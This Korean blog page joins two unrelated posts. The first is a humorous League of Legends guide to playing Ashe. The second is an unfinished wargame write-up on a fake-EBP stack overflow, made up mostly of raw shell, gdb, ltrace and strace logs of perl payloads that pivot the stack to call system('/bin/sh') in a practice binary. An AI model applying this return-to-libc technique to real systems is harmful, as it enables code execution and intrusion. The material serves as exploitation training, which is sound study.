반응형

모두들 애쉬는 고인이라고 칭하지만, 그렇지 않습니다 애쉬는 원딜의 역할은 할 수 있다고여!![수정됨]


다 필요없습니다 리메이크 후의 애쉬는 괜찮았지만 리메이크 후 너프를 당한 애쉬는 데미지 아웃풋이 예전 애쉬와 비슷해졌습니다. 잘 클 자신이 없다면 하지마세요. 애쉬는 템빨이고 템 다 나오려면 무작정 커야하는데 그럴 능력이 없기 때문에 위에서 말한 대로 징크스를 쓰거나 다른 좋은 원딜 찾아서 가시길 바랍니다. 칼바람에서는 그래도 좋은 픽이니 칼바람에서 사용해주세요. 더블리프트가 LCS에서 펜타를 했다고여? 그 분 펜타하는게 하루이틀입니까? 별명이 펜타리프트인데?? 이걸잡고 저걸잡아도 펜타가 나오는데 애쉬로만 그런거 아니니까 걱정하세여. 더 쎈 원딜을 하시라고여. 더 쎈거 하셈 베인이나 칼리스타나 드레이븐같은거.



참고로 이땐 진짜 롤 애쉬로만 했었습니다 150판정도는 애쉬로 했고 kda도 괜찮았고 승률도 양호했었음 그래서 애쉬로 괜찮았는데 한동안 애쉬안하다가 하니까 지옥같았음 이렇게 모든 스킬이 밍밍한 원딜은 존재하면 안됨. 사랑으로 플레이하는 챔임.


고로 그냥 뻘글/(공략??)


저는 NA(북미) 서버 사용자입니다. 한국섭에서 이런 플레이를 할 경우 매우 욕을 먹을 수 도 있으니 읽어보고 할지 말 지는 개인의 판단에 맡기겠습니다 ;) (저도 모름)


애쉬의 장점

도주 할 때 w나 q로 상대방을 느리게 할 수 있습니다. 근데 뚜벅이라 어느정도 거리가 있지 않다면 어차피 잡힘.

근데 솔직히 궁쏘는건 재밌음..(소곤소곤) 사실 이맛에 하는거임.

w는 미니언을 잡으며 상대방에게 데미지도 줄 수 있는 조흔 기술입니다. 견제에 매우 좋죠


+) 서폿애쉬는 그래도 쓸 만 합니다. 그래도 이왕 서폿할거면 더 좋은애 씁시다.


애쉬의 단점

갱킹오면 딱히 빠져나갈 방법이 없습니다. E와 와드로 많이 견제해야 합니다. 갱킹을 온 후에 도망가기 보다는 사전에 갱킹을 방지합시다.

체력이 매우 종잇장 같습니다

한번 피딩하게 되면 진짜 힘듭니다. 고로 피딩하면 안댐 견제를 많이 합시다



초반-- 렙 1~5


소환사 주문- 회복/점멸

애쉬가 도주기가 없는데, 이 주문 두개를 번갈아가며 사용하시는 것을 추천합니다. 이중에 하나 빼는것은 비추. 도주를 못합니다.


저는 상대방/라인 서포터 유무 를 보지 않고 무조건 속도의 장화와 체력 포션 3개를 지릅니다. 원도란 원포션가세여. 속도따위. 와드랑

그냥 그 정도면 처음에 버틸 수 있어여

근데 애쉬는 딱히 퍼블따기 힘듭니다.. 딜이 약해서

퍼블 거의 따려고 할 쯤엔 다른 라인이 머금.

퍼블따려면 스트레스받습니다. 그냥 안정적으로 하세요.


다시 강조하지만 애쉬는 와딩입니다. 서포터가 있으면 더 좋지만 가끔 안해주니까 직접 중요한 곳들에 와드를 박읍시다 라인에 있는 부쉬들은 들가서 확인하는 방법이 있는데 바텀같은 경우는 부쉬가 두개있죠? 자신의 기지부터 더 멀리있는쪽에 와드를 박고 가까이 있는 부쉬에 들가있으면 상대방이 올 때 w로 놀래킬 수 있습니다. 애쉬가 w를 쓰며 부쉬에서 나오면 개무섭습니다. 물론 그냥 깜놀하고 끝이라는게 흠이지만.. 그리고 애쉬쓸때 소환사 주문은 조심히 쓰되 아까워하지 마세여


레벨이 5 정도 되면 (그때까지 라인을 특별히 밀진 않고 견제를 합니다 상대방을 툭툭치고 공격은 피하고) 우물로 돌아가도 됩니다. 우물에 돌아가서 도란의 검과 광전사의 군화와 사용한 포선들을 채웁시다(돈이 없으면 필요한 순서대로 적었습니다. 근데 상황에 따라서 선택하시기 바랍니다). 소환사의 주문은 아까워하진 마시고 그래도 아껴쓰세요.(쿨이 얼만데) 돈이 조금 많이 남아도 나중을 위해 남겨둡시다. 솔직히 이 때 굳이 귀환을 할 필요는 없는데 포션이 떨어지면 집가세요. 견제를 잘 한다면 버틸 수는 있는데 이때쯤이면 포션없이 버틴지 조금 됩니다.


항상 어떤 적이 정글로 사라지는지 체크해야합니다. 언제 내 라인에 튀어나올지 모르는데 정글로 없어지는 적을 안본다는것은 자살행위입니다. 애쉬하면 맵리딩이 늘기는 하드라.



중반-- 렙 6~15


B.F.대검을 지릅니다. 그 후 무한의 대검을 삽니다. 그 전에 다른 무기는 안사여. (도란의 검 빼고)무한의 대검은 매우 좋습니다. 이 템 좀 짱인듯ㅋ(?) 차라리 스태틱이 초반 견제에 나은거같아요. 스태틱사셈 그 다음에 무한사고요 후엔 루난도 원하면 사요 미친 공속을 자랑하기에 cs먹기에 딱임 그리고 q 5중첩의 액티브에 다 묻어서 나가죠.. 이게 유일한... 장점... 포션을 재충전하고 내려감미다. 이 때가 좀 애쉬에겐 힘든 시기입니다. 여기서 피딩을 하게되면 끝이 없죠.(이건 레알) 피딩이 조금 과하다!(3데스 정도) 이러면 점점 격차가 벌어지고 힘들게 되니 정글보고 좀 도와달라고 합시다. 미드나.. 셧다운! 예에 

근데 이 때는 충분히 견제하며 첫번째 포탑까진 밀려도 되요.안됨 악착같이 지켜야합니다 물론 빨피일떈 집에 가주세요 제발 포탑밑에서 악쓰지 마세요 그러다가 정글러라도 내려오면 궁이없는한 답없습니다 포탑을 이용해 상대방을 많이 깎아먹고 상대방이 방심한 순간 q로 잡읍시다. 그리고 미니언은 충분히 먹어야되요. 이 때는 위에 말했듯이 애쉬가 가장 잘 죽는 시기이니(아니 원래 잘 죽습니다 오해하지 마세요) 조금 많이 조심합시다. 와딩도 계속 하고 렙업도 계속 하고. 필요하면 다른 라인으로 가 팀원들의 도주를 w나 q와 f(회복)로 도와주거나 상대방을 w나 q로 느리게 해서 팀원이 잡게 도와줍니다. 애쉬의 매력은 쭉쭉올라가는 어시.(아.. 죄송합니다...매력이라니 이게무슨... 근데 어시가 많긴 해요.. 애쉬하게되면..) 솔직히 서폿을 해도 괜찮은 것 같습니다. 와딩 잘 해 원딜이라 공격도 돼 슬로우도 돼 스턴도 돼 못하는게 없어요! 차라리 ap빌드로 서폿을가요


그러다가 돈이 모이면 저는 루난의 허리케인을 지릅니다. 매력있는 템이죠. 애쉬 템트리에서 딱히 본 적은 없는 것 같습니다만 이거 cs먹기 매우 좋습니다. 평타에 화살 2발을 더해줘서 미니언을 쫙쫙 밀 수 있습니다. 이것이 싫다면 유령무희를 지르셔도 좋습니다. 이렇게 중반은 되면 상대방을 잡고 타 라인에 갱킹답지 않은 갱킹을 가 어시를 늘리고 솔직히 애쉬의 역할은 안죽는 것 밖에 없습니다. 언제든지 필요하면 우물로 돌아갑시다. 어차피 cs많이 먹고 마지막엔 다 만렙일텐데 여기서 죽지만 않는다면 무리해서 킬을 딸 필요는 없습니다.


이 때는 레벨업과 cs와 견제, 그리고 타 라인에 도움. 을 계속 유지합니다. 타 라인에 도움말고 타 라인에 가서 킬을 다 먹어도 좋습니다. 



후반-- 렙 15~18


이 때 조금 조심하지 않으면 데스가 쭉쭉 올라가는 불상사를 볼 수 있습니다. 애쉬는 만렙이라도 체력이 종잇장이기 때문에 조심해야 합니다. 탱을 두르시던가.(크큭) 란두인이라던가 말입니다. 이 때 피바라기를 사고 돈이 있다면 최후의 속삭임도 지릅시다. 이러면 딜이 쓸만하게 되요!! 진짜 딜 안나오는 애쉬 때문에 다른 원딜들 부러워하다가 애쉬가 짱짱되는 그런 떄입니다. (왕귀.. 왕귀라고 해죠)  중반부에 지루했던 견제는 조금 내비두고, 한타에 매우 많은 도움을 줍시다. 그래도 타 원딜에 비해 조금 딜이 떨어지는 편이긴 하지만, q와 w, r로 피가 쭉쭉 깎이는 적을 보며 아 내가 이걸 키웠어 하는 보람을 느낄 수 있습니다ㅋㅋㅋㅋㅋ(이래서 루난을 사는거에요. 평타로 딜을 많이 넣는게 아니라 그냥 갯수를 많이 발사해서 스태틱도 많이쌓고 그래서 데미지가 많이들어가게되는거 결국은 템빨) 한동안은 수호천사도 사용했었는데 음.. 죽은 후 부활은 괜찮지만 적이 기다리다가 죽이는 경우가 굉장히 많아서(도주를 성공적으로 한 경우는 얼마 없습니다) 그래서 비추입니다.


하지만 역시 체력이 종잇장이기 때문에 항상 조심합시다. 적 팀에게 둘러쌓이면 몇초안에 끝납니다.. 이 때는 한타가 많이 나는데 w나 궁날리면 킬도 올라가고 어시도 엄청 올라갑니다ㅋㅋㅋㅋ 어시 특히 진짜 w날리면 챔프들 다 건드리기 때문에 쭉쭉올라가여..


..걍 ap애쉬를 가요 궁 짱쎄다고 들었는데 대신 원딜로써의 능력은 많이 잃죠


----6/28일

자자. 피바가 너프되고 배리어가 추가로 생겼으니 저는 이제 비싼 선피바-무한-스태틱-루난-최후 (장화 or 굶주린 히드라- 근데 이건 징크스로만 해봐서 애쉬는 모르겠네여)로 갑니다. 방어따위 없습니다. 알아서 잘 피해주세염. 원딜은 딜이 나와야죠. 그쵸? 이래뵈도 딜러인데. 순삭됨다 조심하셈

피바사세요ㅇㅇ 걍 괜찮음 피바랑 공속올리면 죽어가다가도 살아나니까 적을 평타로 죽이는일밖에 안남음


아는 형께 애쉬 스킨이 세일하길래 지를까여 하 지르고싶다 이런마음으로 물어보니 돌아오는 대답이 "사지마, 애쉰 희망이 없어.."

그럼 즐거운 애쉬하세여.. 1년이 지난 지금.. 애쉬는 희망이 없다 엉엉

현재까지 애쉬로 100판 넘게 했어여 희망을 가져요 여러분들 엉엉

이거 아닙니다 그냥 차라리 애도를 해주세요 애쉬는 진짜 잘크고 잘하지 않을 이상 운영이 힘든 챔프입니다

그래도 깊은숲 애쉬였나 그건 갖고싶네요


+) 팁: 잘 클 자신이 없다면 게임을 질질끌어서 만렙을 찍거나 템을 완성하라


네 이상 2014년의 이 막말을 반성하는 토끼였습니다.

라이엇 애쉬 버프 좀 해주세요. 이만.

반응형
반응형

febp가 머져 먹는건가여 그렁가봉가

febp 이해하는데 사용한 링크들 적어둘께요(몇개는 못찾겠어여 엄청 좋은거 많았는데 다 검색기록 다 날리고 으허엏어헝)

http://sangu1ne.tistory.com/9 <<-여기 Sanguine형 블러그 여기 롸잇업 짱임여! 롸잇업 뿐만아니라 그냥 짱짱

http://1tchy.tistory.com/entry/fake-ebp <<-간지해커 잇치형의 블러그! 여기 역시 롸잇업 짱임!

이런분들 사이에 끼어 살다니 영광이빈다..

&&... cd80 ㅎ ㄳㄳ


우선 지금 매우 피곤한 관계로 로그를 올려놓고 이만 자러가겟슴다.. 수정 내일해야지

login: assassin

Password:

Last login: Thu Apr 24 17:43:56 from 192.168.10.1

[assassin@localhost assassin]$ bash2

[assassin@localhost assassin]$ payload= [dummyx4, system()[0x40058ae0], dummyx4, binsh[0xbffffc79], nopx24] [sfp->buffer[0xbffffc1a]] [ret->leaveret[0x80484df]]

bash: syntax error near unexpected token `system()'

[assassin@localhost assassin]$ ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x28\xfc\xff\xbf", "\xdf\x84\x04\x08"'`

AAAA@BBBBù¿@(ü ¿߄

Segmentation fault (core dumped)

[assassin@localhost assassin]$ gdb -q ./newbie_assassin

(gdb) disas main

Dump of assembler code for function main:

0x8048440 <main>:       push   %ebp

0x8048441 <main+1>:     mov    %esp,%ebp

0x8048443 <main+3>:     sub    $0x28,%esp

0x8048446 <main+6>:     cmpl   $0x1,0x8(%ebp)

0x804844a <main+10>:    jg     0x8048463 <main+35>

0x804844c <main+12>:    push   $0x8048540

0x8048451 <main+17>:    call   0x8048354 <printf>

0x8048456 <main+22>:    add    $0x4,%esp

0x8048459 <main+25>:    push   $0x0

0x804845b <main+27>:    call   0x8048364 <exit>

0x8048460 <main+32>:    add    $0x4,%esp

0x8048463 <main+35>:    mov    0xc(%ebp),%eax

0x8048466 <main+38>:    add    $0x4,%eax

0x8048469 <main+41>:    mov    (%eax),%edx

0x804846b <main+43>:    add    $0x2f,%edx

0x804846e <main+46>:    cmpb   $0xbf,(%edx)

0x8048471 <main+49>:    jne    0x8048490 <main+80>

0x8048473 <main+51>:    push   $0x804854c

0x8048478 <main+56>:    call   0x8048354 <printf>

0x804847d <main+61>:    add    $0x4,%esp

0x8048480 <main+64>:    push   $0x0

0x8048482 <main+66>:    call   0x8048364 <exit>

0x8048487 <main+71>:    add    $0x4,%esp

0x804848a <main+74>:    lea    0x0(%esi),%esi

0x8048490 <main+80>:    mov    0xc(%ebp),%eax

0x8048493 <main+83>:    add    $0x4,%eax

0x8048496 <main+86>:    mov    (%eax),%edx

0x8048498 <main+88>:    add    $0x2f,%edx

0x804849b <main+91>:    cmpb   $0x40,(%edx)

---Type <return> to continue, or q <return> to quit---

0x804849e <main+94>:    jne    0x80484b7 <main+119>

0x80484a0 <main+96>:    push   $0x8048561

0x80484a5 <main+101>:   call   0x8048354 <printf>

0x80484aa <main+106>:   add    $0x4,%esp

0x80484ad <main+109>:   push   $0x0

0x80484af <main+111>:   call   0x8048364 <exit>

0x80484b4 <main+116>:   add    $0x4,%esp

0x80484b7 <main+119>:   push   $0x30

0x80484b9 <main+121>:   mov    0xc(%ebp),%eax

0x80484bc <main+124>:   add    $0x4,%eax

0x80484bf <main+127>:   mov    (%eax),%edx

0x80484c1 <main+129>:   push   %edx

0x80484c2 <main+130>:   lea    0xffffffd8(%ebp),%eax

0x80484c5 <main+133>:   push   %eax

0x80484c6 <main+134>:   call   0x8048374 <strncpy>

0x80484cb <main+139>:   add    $0xc,%esp

0x80484ce <main+142>:   lea    0xffffffd8(%ebp),%eax

0x80484d1 <main+145>:   push   %eax

0x80484d2 <main+146>:   push   $0x804857e

0x80484d7 <main+151>:   call   0x8048354 <printf>

0x80484dc <main+156>:   add    $0x8,%esp

0x80484df <main+159>:   leave

0x80484e0 <main+160>:   ret

0x80484e1 <main+161>:   nop

0x80484e2 <main+162>:   nop

0x80484e3 <main+163>:   nop

0x80484e4 <main+164>:   nop

0x80484e5 <main+165>:   nop

0x80484e6 <main+166>:   nop

0x80484e7 <main+167>:   nop

---Type <return> to continue, or q <return> to quit---q

Quit

(gdb) b *main+160

Breakpoint 1 at 0x80484e0

(gdb) r `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x28\xfc\xff\xbf", "\xdf\x84\x04\x08"'`

Starting program: /home/assassin/./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x28\xfc\xff\xbf", "\xdf\x84\x04\x08"'`

AAAA@BBBBù¿@(ü


Breakpoint 1, 0x80484e0 in main ()

(gdb) x/wx $esp

0xbffffacc:     0x00000000

(gdb) r `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x28\xfc\xaa\xbf", "\xdf\x84\x04\x08"'`

The program being debugged has been started already.

Start it from the beginning? (y or n) y


Starting program: /home/assassin/./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x28\xfc\xaa\xbf", "\xdf\x84\x04\x08"'`

AAAA@BBBBù¿@(üª¿߄


Breakpoint 1, 0x80484e0 in main ()

(gdb) x/wx $esp

0xbffffacc:     0x080484df

(gdb) x/i 0x80484df

0x80484df <main+159>:   leave

(gdb) i r ebp

Ambiguous info command "r ebp": registers, remote-process.

(gdb) i reg ebp

ebp            0xbfaafc28       -1079313368

(gdb) set $ebp=0xbffffc28

(gdb) x/20wx 0xbffffc28

0xbffffc28:     0x6e697373      0x41414100      0x058ae041      0x42424240

0xbffffc38:     0x0fbff942      0x90909040      0x90909090      0x90909090

0xbffffc48:     0x90909090      0x90909090      0x90909090      0xaafc2890

0xbffffc58:     0x0484dfbf      0x454c0008      0x504f5353      0x7c3d4e45

0xbffffc68:     0x7273752f      0x6e69622f      0x73656c2f      0x70697073

(gdb) x/20wx 0xbffffc2a

0xbffffc2a:     0x41006e69      0xe0414141      0x4240058a      0xf9424242

0xbffffc3a:     0x90400fbf      0x90909090      0x90909090      0x90909090

0xbffffc4a:     0x90909090      0x90909090      0x28909090      0xdfbfaafc

0xbffffc5a:     0x00080484      0x5353454c      0x4e45504f      0x752f7c3d

0xbffffc6a:     0x622f7273      0x6c2f6e69      0x70737365      0x2e657069

(gdb) x/20wx 0xbffffc2b

0xbffffc2b:     0x4141006e      0x8ae04141      0x42424005      0xbff94242

0xbffffc3b:     0x9090400f      0x90909090      0x90909090      0x90909090

0xbffffc4b:     0x90909090      0x90909090      0xfc289090      0x84dfbfaa

0xbffffc5b:     0x4c000804      0x4f535345      0x3d4e4550      0x73752f7c

0xbffffc6b:     0x69622f72      0x656c2f6e      0x69707373      0x732e6570

(gdb) x/20wx 0xbffffc9

0xbffffc9:      Cannot access memory at address 0xbffffc9

(gdb) x/20wx 0xbffffc29

0xbffffc29:     0x006e6973      0x41414141      0x40058ae0      0x42424242

0xbffffc39:     0x400fbff9      0x90909090      0x90909090      0x90909090

0xbffffc49:     0x90909090      0x90909090      0x90909090      0xbfaafc28

0xbffffc59:     0x080484df      0x53454c00      0x45504f53      0x2f7c3d4e

0xbffffc69:     0x2f727375      0x2f6e6962      0x7373656c      0x65706970

(gdb) x/20wx 0xbffffc2d

0xbffffc2d:     0x41414141      0x40058ae0      0x42424242      0x400fbff9

0xbffffc3d:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffc4d:     0x90909090      0x90909090      0xbfaafc28      0x080484df

0xbffffc5d:     0x53454c00      0x45504f53      0x2f7c3d4e      0x2f727375

0xbffffc6d:     0x2f6e6962      0x7373656c      0x65706970      0x2068732e

(gdb) q

The program is running.  Exit anyway? (y or n) y

[assassin@localhost assassin]$ ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x2d\xfc\xff\xbf", "\xdf\x84\x04\x08"'`

AAAA@BBBBù¿@-ü ¿߄

Segmentation fault (core dumped)

[assassin@localhost assassin]$ gdb -c core -q

Core was generated by `./newbie_assassin AAAA@BBBBù¿@-ü ¿'.

Program terminated with signal 11, Segmentation fault.

#0  0xf9424242 in ?? ()

(gdb) q

[assassin@localhost assassin]$ ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x28\xfc\xff\xbf", "\xdf\x84\x04\x08"'`

AAAA@BBBBù¿@(ü ¿߄

Segmentation fault (core dumped)

[assassin@localhost assassin]$ gdb -c core -q

Core was generated by `                  AAAAAAAABBBBù¿@(ü ¿'.

Program terminated with signal 11, Segmentation fault.

#0  0x42424242 in ?? ()

(gdb) q

[assassin@localhost assassin]$ ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x24\xfc\xff\xbf", "\xdf\x84\x04\x08"'`

AAAA@BBBBù¿@$ü ¿߄

Segmentation fault (core dumped)

[assassin@localhost assassin]$ gdb -c core -q

Core was generated by `./newbie_assassin AAAA@BBBBù¿@$ü ¿'.

Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

(gdb) q

[assassin@localhost assassin]$ ltrace -if ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x28\xfc\xff\xbf", "\xdf\x84\x04\x08"'`

[080483b1] __libc_start_main(0x08048440, 2, 0xbffffb24, 0x080482e4, 0x0804851c <unfinished ...>

[0804842b] __register_frame_info(0x08049590, 0x0804966c, 0xbffffae4, 0x08048309, 0x401081ec) = 0x40108d40

[080484cb] strncpy(0xbffffab0, "AAAA\340\212\005@BBBB\371\277\017@\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"..., 48) = 0xbffffab0

[080484dc] printf("%s\n", "AAAA\340\212\005@BBBB\371\277\017@\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"...AAAA@BBBBù¿@

(ü ¿߄

) = 50

[8ae04141] --- SIGSEGV (Segmentation fault) ---

[ffffffff] +++ killed by SIGSEGV +++

[assassin@localhost assassin]$ sltrace -if ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x2a\xfc\xff\xbf", "\xdf\x84\x04\x08"'`

bash2: sltrace: command not found

[assassin@localhost assassin]$ ltrace -if ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x2a\xfc\xff\xbf", "\xdf\x84\x04\x08"'`

[080483b1] __libc_start_main(0x08048440, 2, 0xbffffb24, 0x080482e4, 0x0804851c <unfinished ...>

[0804842b] __register_frame_info(0x08049590, 0x0804966c, 0xbffffae4, 0x08048309, 0x401081ec) = 0x40108d40

[080484cb] strncpy(0xbffffab0, "AAAA\340\212\005@BBBB\371\277\017@\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"..., 48) = 0xbffffab0

[080484dc] printf("%s\n", "AAAA\340\212\005@BBBB\371\277\017@\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"...AAAA@BBBBù¿@

*ü ¿߄

) = 50

[pid 4039] [40036cb5] --- SIGCHLD (Child exited) ---

[pid 4039] [42424242] --- SIGSEGV (Segmentation fault) ---

[pid 4039] [ffffffff] +++ killed by SIGSEGV +++

[assassin@localhost assassin]$ strace -if ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x2a\xfc\xff\xbf", "\xdf\x84\x04\x08"'`

upeek: ptrace(PTRACE_PEEKUSER, ... ): No such process

[????????] execve("./newbie_assassin", ["./newbie_assassin", "AAAA@BBBBù¿@*ü ¿"], [/* 22 vars */]) = 0

[4000f78c] brk(0)                       = 0x8049684

[4000f84d] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000

[4000ee54] open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)

[4000ee54] open("/etc/ld.so.cache", O_RDONLY) = 3

[4000ed5d] fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0

[4000f84d] old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000

[4000ee8d] close(3)                     = 0

[4000ee54] open("/lib/libc.so.6", O_RDONLY) = 3

[4000ed5d] fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0

[4000eed4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096

[4000f84d] old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000

[4000f8d4] mprotect(0x40105000, 30812, PROT_NONE) = 0

[4000f84d] old_mmap(0x40105000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec000) = 0x40105000

[4000f84d] old_mmap(0x40109000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40109000

[4000ee8d] close(3)                     = 0

[4000f8d4] mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0

[4000f8d4] mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0

[4000f891] munmap(0x40015000, 12210)    = 0

[400ca7fd] personality(PER_LINUX)       = 0

[400aa257] getpid()                     = 4043

[400bdc8c] fstat64(0x1, 0xbffff2f8)     = -1 ENOSYS (Function not implemented)

[400bdcd3] fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0

[400c7afd] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000

[400c4b54] ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0

[400beb14] write(1, "AAAA\340\212\5@BBBB\371\277\17@\220\220\220\220\220\220"..., 50AAAA@BBBBù¿@*ü ¿߄

) = 50

[40036ae2] rt_sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 8) = 0

[40036ae2] rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0

[40036cb5] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0

[400a9cc8] vfork()                      = 4044

[400a98e9] wait4(4044, [WIFEXITED(s) && WEXITSTATUS(s) == 127], 0, NULL) = 4044

[40036ae2] rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0

[40036ae2] rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0

[40036cb5] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0

[40036cb5] --- SIGCHLD (Child exited) ---

[42424242] --- SIGSEGV (Segmentation fault) ---

upeek: ptrace(PTRACE_PEEKUSER, ... ): No such process

[????????] +++ killed by SIGSEGV +++

[assassin@localhost assassin]$ strace -if ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x2a\xfc\xff\xbf", "AAAA", "\xdf\x84\x04\x08"'`

upeek: ptrace(PTRACE_PEEKUSER, ... ): No such process

[????????] execve("./newbie_assassin", ["./newbie_assassin", "AAAA@BBBBù¿@*ü ¿AAAA"], [/* 22 vars */]) = 0

[4000f78c] brk(0)                       = 0x8049684

[4000f84d] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000

[4000ee54] open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)

[4000ee54] open("/etc/ld.so.cache", O_RDONLY) = 3

[4000ed5d] fstat(3, {st_mode=S_IFREG|0644, st_size=12210, ...}) = 0

[4000f84d] old_mmap(NULL, 12210, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40015000

[4000ee8d] close(3)                     = 0

[4000ee54] open("/lib/libc.so.6", O_RDONLY) = 3

[4000ed5d] fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0

[4000eed4] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096

[4000f84d] old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40018000

[4000f8d4] mprotect(0x40105000, 30812, PROT_NONE) = 0

[4000f84d] old_mmap(0x40105000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec000) = 0x40105000

[4000f84d] old_mmap(0x40109000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40109000

[4000ee8d] close(3)                     = 0

[4000f8d4] mprotect(0x40018000, 970752, PROT_READ|PROT_WRITE) = 0

[4000f8d4] mprotect(0x40018000, 970752, PROT_READ|PROT_EXEC) = 0

[4000f891] munmap(0x40015000, 12210)    = 0

[400ca7fd] personality(PER_LINUX)       = 0

[400aa257] getpid()                     = 4047

[400bdc8c] fstat64(0x1, 0xbffff2e8)     = -1 ENOSYS (Function not implemented)

[400bdcd3] fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0

[400c7afd] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000

[400c4b54] ioctl(1, TCGETS, {B9600 opost isig icanon echo ...}) = 0

[400beb14] write(1, "AAAA\340\212\5@BBBB\371\277\17@\220\220\220\220\220\220"..., 50AAAA@BBBBù¿@*ü ¿AAAA

) = 50

[41414141] --- SIGSEGV (Segmentation fault) ---

upeek: ptrace(PTRACE_PEEKUSER, ... ): No such process

[????????] +++ killed by SIGSEGV +++

[assassin@localhost assassin]$ gdb -c core -q

Core was generated by `./newbie_assassin AAAA@BBBBù¿@*ü ¿AAAA'.

Program terminated with signal 11, Segmentation fault.

#0  0x41414141 in ?? ()

(gdb) x/20wx $esp-40

0xbffffaa8:     0x42424242      0x400fbff9      0x90909090      0x90909090

0xbffffab8:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffac8:     0xbffffc2a      0x41414141      0x00000002      0xbffffb14

0xbffffad8:     0xbffffb20      0x40013868      0x00000002      0x08048390

0xbffffae8:     0x00000000      0x080483b1      0x08048440      0x00000002

(gdb) x/20wx $esp-60

0xbffffa94:     0x080484dc      0x0804857e      0xbffffaa0      0x41414141

0xbffffaa4:     0x40058ae0      0x42424242      0x400fbff9      0x90909090

0xbffffab4:     0x90909090      0x90909090      0x90909090      0x90909090

0xbffffac4:     0x90909090      0xbffffc2a      0x41414141      0x00000002

0xbffffad4:     0xbffffb14      0xbffffb20      0x40013868      0x00000002

(gdb) 6q

Undefined command: "6q".  Try "help".

(gdb) q

[assassin@localhost assassin]$ strace -if ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\x2a\xfc\xff\xbf", "AAAA"'`

upeek: ptrace(PTRACE_PEEKUSER, ... ): No such process

[????????] execve("./newbie_assassin", ["./newbie_assassin", "AAAA@BBBBù¿@*ü ¿AAAA"], [/* 22 vars */]) = 0

[4000f78c] brk(0)                       = 0x8049684

